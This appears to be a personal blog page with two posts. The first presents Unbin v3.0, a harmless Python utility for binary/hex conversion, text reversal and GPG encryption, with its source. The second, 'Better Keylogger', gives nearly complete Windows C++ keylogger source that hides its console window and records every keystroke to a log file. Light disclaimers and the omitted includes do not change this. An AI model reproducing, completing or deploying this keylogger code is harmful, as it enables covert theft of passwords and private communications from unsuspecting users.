I'd been using Linux for about a year and (for me) bash scripting was all the rage. The original Unbin was made of 8 or 9 different bash scripts, 2 perl scripts, and then all the other stuff that goes in a standard Debian package (a control file, a post-install, etc). Not to mention it included 6 different scripts for 'easter eggs.' The dependencies were crazy for such a simple program.

As proud as I was of my little victory, I promised myself one day I'd make it better.

I've ditched the gazillion bash scripts, and the two perl scripts (I don't hate perl, don't get me wrong... but the thing has issues...) and replaced it with a single Python script. I feel like Python is (for me) all the rage these days... I've also ditched zenity in favor of Tkinter.


I've kept the ability to reverse text, to convert to and from binary and hexadecimal, and added functionality to encrypt/decrypt a 'translated' file using GPG.

Key Features:
  • Binary Conversion: Convert text to 8-bit group binary and back.
  • Hexadecimal Conversion: Convert text to 2-character group hexadecimal and back.
  • Reverse Text: Quick reverse strings.
  • GPG Support: Encrypt and decrypt files during conversion (GUI only).
  • GUI & CLI: Automatically fall back to CLI if GUI is not available.


Program Start:



"Hello" in binary:



"Hello" in hexadecimal:



Code:


Project page on GitHub

#Unbin v3.0
#by Jonathan Torres

import sys
import os
import binascii
import argparse
import subprocess

# Version and Metadata
VERSION = "3.0 (Python Refactor)"
LICENSE = """Unbin is free software distributed under the terms of the GNU General Public License, version 3,
or any later version published by the Free Software Foundation.
You have the freedom to use, study, modify, and redistribute this software.
Any derivative work must also be under GPLv3.
See /usr/share/Unbin/docs/gpl-3.0.txt for full details."""

# Core Logic Functions

def text_to_binary(text):
    return ' '.join(format(ord(c), '08b') for c in text)

def binary_to_text(binary):
    binary = binary.strip().replace(' ', '').replace('\n', '').replace('\r', '')
    if not binary: return ""
    try:
        # Handle cases where multiple bytes are present
        n = int(binary, 2)
        return n.to_bytes((n.bit_length() + 7) // 8, 'big').decode('utf-8')
    except Exception as e:
        return f"Error: {e}"

def text_to_hex(text):
    h = binascii.hexlify(text.encode('utf-8')).decode('utf-8')
    return ' '.join(h[i:i+2] for i in range(0, len(h), 2))

def hex_to_text(hex_str):
    hex_str = hex_str.strip().replace(' ', '').replace('\n', '').replace('\r', '')
    if not hex_str: return ""
    try:
        return binascii.unhexlify(hex_str).decode('utf-8')
    except Exception as e:
        return f"Error: {e}"

def reverse_text(text):
    return text[::-1]

# File Operations (CLI)

def read_file_cli(path):
    try:
        if path.endswith(".gpg"):
             print(f"Decryption of {path} requires GUI or manual gpg command in CLI mode for now.")
             return None
        with open(path, 'r', encoding='utf-8', errors='ignore') as f:
            return f.read()
    except Exception as e:
        print(f"Error reading file: {e}")
        return None

# GUI implementation

class UnbinGUI:
    def __init__(self, root, tk, messagebox, filedialog, simpledialog):
        self.root = root
        self.tk = tk
        self.messagebox = messagebox
        self.filedialog = filedialog
        self.simpledialog = simpledialog
        
        self.root.title(f"Unbin v{VERSION}")
        self.root.geometry("400x300")
        
        tk.Label(root, text="Choose encoding type:").pack(pady=10)
        
        self.mode = tk.StringVar(value="Binary")
        modes = ["Binary", "Hexadecimal", "Reverse"]
        for m in modes:
            tk.Radiobutton(root, text=m, variable=self.mode, value=m).pack()

        tk.Button(root, text="Process Text", command=self.process_text_dialog).pack(pady=10)
        tk.Button(root, text="Process File", command=self.process_file_dialog).pack(pady=5)
        tk.Button(root, text="License", command=lambda: messagebox.showinfo("License", LICENSE)).pack(pady=5)

    def process_text_dialog(self):
        msg = self.simpledialog.askstring("Input", f"Enter message to {self.mode.get()}:")
        if msg is None: return
        
        mode = self.mode.get()
        if mode == "Binary":
            action = self.messagebox.askquestion("Action", "Convert TO binary? (No = FROM binary)")
            res = text_to_binary(msg) if action == 'yes' else binary_to_text(msg)
        elif mode == "Hexadecimal":
            action = self.messagebox.askquestion("Action", "Convert TO hex? (No = FROM hex)")
            res = text_to_hex(msg) if action == 'yes' else hex_to_text(msg)
        else:
            res = reverse_text(msg)
            
        self.show_result(res)

    def process_file_dialog(self):
        path = self.filedialog.askopenfilename()
        if not path: return
        
        content = self.gui_read_file(path)
        if content is None: return
        
        mode = self.mode.get()
        if mode == "Binary":
            action = self.messagebox.askquestion("Action", "Convert TO binary? (No = FROM binary)")
            res = text_to_binary(content) if action == 'yes' else binary_to_text(content)
        elif mode == "Hexadecimal":
            action = self.messagebox.askquestion("Action", "Convert TO hex? (No = FROM hex)")
            res = text_to_hex(content) if action == 'yes' else hex_to_text(content)
        else:
            res = reverse_text(content)
            
        if self.messagebox.askyesno("Save", "Save result to file?"):
            save_path = self.filedialog.asksaveasfilename()
            if save_path:
                encrypt = self.messagebox.askyesno("Encrypt", "Encrypt with GPG?")
                self.gui_save_file(res, save_path, encrypt)
        else:
            self.show_result(res)

    def gui_read_file(self, path):
        try:
            if path.endswith(".gpg"):
                passphrase = self.simpledialog.askstring("GPG", "Enter passphrase:", show='*')
                if not passphrase: return None
                cmd = ["gpg", "--batch", "--passphrase", passphrase, "-d", path]
                res = subprocess.run(cmd, capture_output=True, text=True)
                if res.returncode != 0:
                    self.messagebox.showerror("Error", f"GPG Decryption failed: {res.stderr}")
                    return None
                return res.stdout
            else:
                with open(path, 'r', encoding='utf-8', errors='ignore') as f:
                    return f.read()
        except Exception as e:
            self.messagebox.showerror("Error", f"Could not read file: {e}")
            return None

    def gui_save_file(self, content, path, encrypt=False):
        try:
            temp_path = path
            if encrypt:
                temp_path = path + ".tmp"
            
            with open(temp_path, 'w', encoding='utf-8') as f:
                f.write(content)
            
            if encrypt:
                passphrase = self.simpledialog.askstring("GPG", "Enter new passphrase:", show='*')
                if not passphrase:
                    os.remove(temp_path)
                    return False
                cmd = ["gpg", "--batch", "--passphrase", passphrase, "-c", temp_path]
                res = subprocess.run(cmd, capture_output=True)
                os.remove(temp_path)
                if res.returncode != 0:
                    self.messagebox.showerror("Error", "GPG Encryption failed.")
                    return False
                final_path = temp_path + ".gpg"
                if os.path.exists(path + ".gpg"):
                     os.replace(final_path, path + ".gpg")
                else:
                     os.rename(final_path, path + ".gpg")
            return True
        except Exception as e:
            self.messagebox.showerror("Error", f"Could not save file: {e}")
            return False

    def show_result(self, result):
        top = self.tk.Toplevel(self.root)
        top.title("Result")
        text_widget = self.tk.Text(top, wrap='word')
        text_widget.insert('1.0', result)
        text_widget.pack(expand=True, fill='both')
        self.tk.Button(top, text="Close", command=top.destroy).pack()

# CLI Mode

def cli_mode(args):
    if args.l:
        print(LICENSE)
        return
    
    input_data = ""
    if args.f:
        input_data = read_file_cli(args.f)
        if input_data is None: return
    elif args.text:
        input_data = " ".join(args.text)
    else:
        # Interactive CLI
        print("Choose encoding: (b)in, (h)ex, (r)ev")
        choice = input("> ").strip().lower()
        if choice not in ['b', 'h', 'r']:
             print("Invalid choice")
             return
        print("Enter message:")
        input_data = input("> ")
        if choice == 'b': args.b = True
        elif choice == 'h': args.h = True
        elif choice == 'r': args.r = True

    result = ""
    if args.b: result = text_to_binary(input_data)
    elif args.bt: result = binary_to_text(input_data)
    elif args.h: result = text_to_hex(input_data)
    elif args.ht: result = hex_to_text(input_data)
    elif args.r or args.rt: result = reverse_text(input_data)
    
    print(result)

# Main

def main():
    parser = argparse.ArgumentParser(add_help=False)
    parser.add_argument("-b", action="store_true")
    parser.add_argument("-bt", action="store_true")
    parser.add_argument("-h", action="store_true")
    parser.add_argument("-ht", action="store_true")
    parser.add_argument("-r", action="store_true")
    parser.add_argument("-rt", action="store_true")
    parser.add_argument("-f", type=str)
    parser.add_argument("-l", action="store_true")
    parser.add_argument("-t", "--terminal", action="store_true")
    parser.add_argument("-nogui", action="store_true")
    parser.add_argument("-help", "--help", action="store_true")
    parser.add_argument("-moo", action="store_true")
    parser.add_argument("text", nargs='*', default=None)

    args, unknown = parser.parse_known_args()

    if args.help:
        print("Unbin v3.0 Usage:")
        print("  Unbin [-b|-bt|-h|-ht|-r|-rt] [-f file] [text]")
        print("  -t / -nogui : Terminal mode")
        print("  -l          : Show license")
        return

    if args.moo:
        print("There's no easter in these eggs... @~@")
        return

    use_terminal = args.terminal or args.nogui or args.b or args.bt or args.h or args.ht or args.r or args.rt or args.f or args.l or (args.text and len(args.text) > 0)

    if use_terminal:
        cli_mode(args)
    else:
        try:
            import tkinter as tk
            from tkinter import messagebox, filedialog, simpledialog
            root = tk.Tk()
            app = UnbinGUI(root, tk, messagebox, filedialog, simpledialog)
            root.mainloop()
        except ImportError:
            print("Tkinter not found. Falling back to terminal mode.")
            cli_mode(args)
        except Exception as e:
            print(f"Could not start GUI: {e}")
            print("Falling back to terminal mode.")
            cli_mode(args)

if __name__ == "__main__":
    main()

Better Keylogger

The previous keylogger I'd published had some issues.

This updated code corrects some (hopefully all) of those issues.



Namely:

  • Fixed the scope error - character was declared inside while(1) but used by the for loop
  • Removed registry functions - test_key() and create_key() were declared but never defined
  • Fixed key detection - Changed from == -32767 to proper bitmask check & 0x8000
  • Fixed letter case logic - Now properly checks shift/caps lock state for uppercase/lowercase
  • Fixed file handling - File opened once outside the loop instead of repeatedly
  • Added key repeat prevention - Prevents flooding the log with the same key held down
  • Added timestamp - Logs when the program starts


Now, this here code is meant for educational and testin' purposes only. Ain't nobody can compel a grown ass man or woman to do one way or 'nother. But, if you were to find yourself in a place where you might could think it necessary to spy on thy brethren... well... don't.

For this very reason, the makefile is not included, and I'm leaving the code incomplete intentionally.

Do not use this tool on systems you do not own or have explicit written permission to test.

Code:

main.cpp
// Simple keylogger for educational/testing purposes

//**IMPORTANT**: This is for educational use only. Only use on systems you own or have explicit permission to test. Unauthorized keylogging is illegal in most jurisdictions.

#includes go here

#define BUFSIZE 256

int get_keys(void);

int main(void)
{
    // Hide console window
    HWND stealth = GetConsoleWindow();
    if (stealth != NULL) {
        ShowWindow(stealth, SW_HIDE);
    }

    // Set low priority so it doesn't hog CPU
    SetPriorityClass(GetCurrentProcess(), IDLE_PRIORITY_CLASS);

    return get_keys();
}

int get_keys(void)
{
    FILE *file = fopen("keylog.log", "a+");
    if (file == NULL) {
        return 1;
    }

    // Log start time
    SYSTEMTIME st;
    GetLocalTime(&st);
    fprintf(file, "\n--- Keylog started at %04d-%02d-%02d %02d:%02d:%02d ---\n",
            st.wYear, st.wMonth, st.wDay, st.wHour, st.wMinute, st.wSecond);
    fflush(file);

    short character;
    while (1) {
        Sleep(10);  // Small delay to reduce CPU usage

        for (character = 8; character <= 222; character++) {
            // Check if key was pressed (most significant bit) and is currently down
            if (GetAsyncKeyState(character) & 0x8000) {
                // Handle printable characters (letters and numbers)
                // Letters: A-Z (65-90), need to check shift state for case
                if (character >= 'A' && character <= 'Z') {
                    // Check if shift is held
                    BOOL shift = GetAsyncKeyState(VK_SHIFT) & 0x8000;
                    BOOL caps = GetKeyState(VK_CAPITAL) & 0x0001;

                    // Determine final case
                    char c;
                    if (shift ^ caps) {
                        c = (char)character;  // uppercase
                    } else {
                        c = (char)(character + 32);  // lowercase
                    }
                    fputc(c, file);
                    fflush(file);
                }
                // Numbers and symbols (48-57)
                else if (character >= '0' && character <= '9') {
                    fputc((char)character, file);
                    fflush(file);
                }
                // Space
                else if (character == VK_SPACE) {
                    fputc(' ', file);
                    fflush(file);
                }
                // Special keys
                else {
                    switch (character) {
                        case VK_RETURN:
                            fputs("\n[ENTER]\n", file);
                            break;
                        case VK_BACK:
                            fputs("[BACKSPACE]", file);
                            break;
                        case VK_TAB:
                            fputs("[TAB]", file);
                            break;
                        case VK_SHIFT:
                        case VK_LSHIFT:
                        case VK_RSHIFT:
                            fputs("[SHIFT]", file);
                            break;
                        case VK_CONTROL:
                        case VK_LCONTROL:
                        case VK_RCONTROL:
                            fputs("[CTRL]", file);
                            break;
                        case VK_MENU:  // Alt key
                        case VK_LMENU:
                        case VK_RMENU:
                            fputs("[ALT]", file);
                            break;
                        case VK_DELETE:
                            fputs("[DEL]", file);
                            break;
                        case VK_CAPITAL:
                            fputs("[CAPS LOCK]", file);
                            break;
                        case VK_ESCAPE:
                            fputs("[ESC]", file);
                            break;
                        case VK_NUMPAD0: fputs("0", file); break;
                        case VK_NUMPAD1: fputs("1", file); break;
                        case VK_NUMPAD2: fputs("2", file); break;
                        case VK_NUMPAD3: fputs("3", file); break;
                        case VK_NUMPAD4: fputs("4", file); break;
                        case VK_NUMPAD5: fputs("5", file); break;
                        case VK_NUMPAD6: fputs("6", file); break;
                        case VK_NUMPAD7: fputs("7", file); break;
                        case VK_NUMPAD8: fputs("8", file); break;
                        case VK_NUMPAD9: fputs("9", file); break;
                        case VK_DECIMAL: fputs(".", file); break;
                        case VK_OEM_1: fputs(";", file); break;
                        case VK_OEM_2: fputs("/", file); break;
                        case VK_OEM_3: fputs("`", file); break;
                        case VK_OEM_4: fputs("[", file); break;
                        case VK_OEM_5: fputs("\\", file); break;
                        case VK_OEM_6: fputs("]", file); break;
                        case VK_OEM_7: fputs("'", file); break;
                        case VK_OEM_COMMA: fputs(",", file); break;
                        case VK_OEM_PERIOD: fputs(".", file); break;
                        case VK_OEM_MINUS: fputs("-", file); break;
                        case VK_OEM_PLUS: fputs("=", file); break;
                        default:
                            // Ignore unhandled keys
                            break;
                    }
                    fflush(file);
                }

                // Prevent rapid-fire repeats for the same key
                while (GetAsyncKeyState(character) & 0x8000) {
                    Sleep(50);
                }
            }
        }
    }

    fclose(file);
    return 0;
}